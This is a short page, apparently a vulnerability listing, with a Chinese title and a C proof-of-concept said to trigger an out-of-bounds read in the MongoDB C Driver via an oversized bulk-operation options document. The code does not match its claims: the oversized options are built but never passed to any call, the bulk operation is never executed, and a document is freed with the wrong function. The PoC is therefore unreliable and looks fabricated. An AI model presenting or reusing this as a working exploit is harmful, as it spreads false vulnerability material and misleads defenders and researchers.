CVE-2025-12119 MongoDB C Driver 内存越界读取漏洞

/* CVE-2025-12119 PoC - MongoDB C Driver Memory Out-of-Bounds Read * This PoC demonstrates triggering the vulnerability via oversized bulk operation options * Compile: gcc -o poc poc.c $(pkg-config --cflags --libs libmongoc-1.0) */ #include <bson.h> #include <mongoc.h> #include <stdio.h> #include <string.h> void trigger_vulnerability(mongoc_collection_t *collection) { mongoc_bulk_operation_t *bulk; bson_t *opts; bson_t *doc; uint8_t *large_data; size_t large_size = 1024 * 1024; // 1MB - oversized option // Create bulk operation with oversized options bulk = mongoc_collection_create_bulk_operation_with_opts(collection); if (!bulk) { printf("Failed to create bulk operation\n"); return; } // Allocate oversized option data large_data = (uint8_t *)malloc(large_size); if (!large_data) { printf("Memory allocation failed\n"); mongoc_bulk_operation_destroy(bulk); return; } memset(large_data, 0x41, large_size); // Create options document with oversized data opts = bson_new(); BSON_APPEND_BINARY(opts, "_ oversized_option", BSON_SUBTYPE_BINARY, large_data, large_size); // Attempt to execute bulk operation with malicious options doc = bson_new(); BSON_APPEND_INT32(doc, "_id", 1); BSON_APPEND_UTF8(doc, "data", "trigger_cve_2025_12119"); mongoc_bulk_operation_insert(bulk, doc); // This call may trigger out-of-bounds read due to oversized opts bson_destroy(opts); bson_free(doc); mongoc_bulk_operation_destroy(bulk); free(large_data); } int main(int argc, char *argv[]) { mongoc_client_t *client; mongoc_collection_t *collection; const char *uri = "mongodb://localhost:27017/"; mongoc_init(); client = mongoc_client_new(uri); if (!client) { fprintf(stderr, "Failed to create client\n"); return 1; } collection = mongoc_client_get_collection(client, "test_db", "test_collection"); printf("Triggering CVE-2025-12119 vulnerability...\n"); trigger_vulnerability(collection); mongoc_collection_destroy(collection); mongoc_client_destroy(client); mongoc_cleanup(); return 0; }